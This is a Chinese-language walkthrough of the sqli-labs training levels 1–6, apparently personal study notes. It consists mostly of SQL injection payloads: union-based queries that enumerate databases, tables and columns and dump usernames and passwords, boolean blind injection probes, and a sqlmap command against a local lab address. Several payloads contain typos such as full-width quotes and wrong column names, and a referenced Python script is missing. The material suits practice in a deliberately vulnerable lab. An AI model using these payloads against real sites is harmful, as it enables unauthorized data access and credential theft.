第一关:
输入?id=1'--+ 正常,判定为字符型注入
?id=1' and 1=2 union select 1,2,3--+,判定2和3号位能回显
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 爆出数据库
?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+ 爆出security库的表
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 爆出users的列
?id=1' and 1=2 union select 1,2,group_concat(username,password) from security.users--+
显示出这两个列的内容
第二关:
输入?id=1 --+没有报错,判定为字符型输入
?id=1 and 1=2 union select 1,2,3--+ 回显2,3号位
其余步骤和关卡一一模一样
?id=1 and 1=2 union select 1,2,group_concat(username,password) from security.users--+得出最终内容
第三关:
根据报错信息,判定闭合方式含有)
?id=1') and 1=2 union select 1,2,3--+,依旧回显2和3,其余方式和关卡一一样
?id=1') and 1=2 union select 1,2,group_concat(username,password) from security.users--+得出最终内容
关卡4
输入?id=1”发现报错信息有双引号
?id=1") and 1=2 union select 1,2,3--+ 回显2,3号位其余和关卡1一样
关卡5:
利用python脚本进行注入得到数据库名称如图,下面是关卡5手工注入思路。
得到表名,列名,数据名都可以根据图中python脚本改写
输入?id=1') and 1=2 union select 1,2,3--+提示报错信息
输入?id=1' and 1=2 union select 1,2,3--+页面显示正常但没有任何信息,采用布尔盲注
?id=1' and length((select database()))>7--+的时候正常显示信息,>8没有信息
说明数据库长度为8
?id=1 and substr(database(),1,1)=‘a’利用该语句逐个判断数据库名
?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())>=4--+判断表名数量为4
?id=1’ and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)>=5--+ 判断每个表长度,limit 0,1第一张表,limit 1,1第二张表
?id=1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a--+ 逐个判断表名
?id=1’ and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)>=2--+ 判断列的数量
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)>=3 判断每个列的长度
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’判断列名
?id=1 and substr((select flag from sqli.flag),1,1)=“a”根据列名判断数据值
SQL手工注入步骤:
判断注入类型,找到数据库名,找到表名,找到列名,得出数据
Level6
使用sqlmap注入成功python .\sqlmap.py -u http://192.168.149.1/sqli-labs/Less-6/?id= --dbs
得出所有数据库名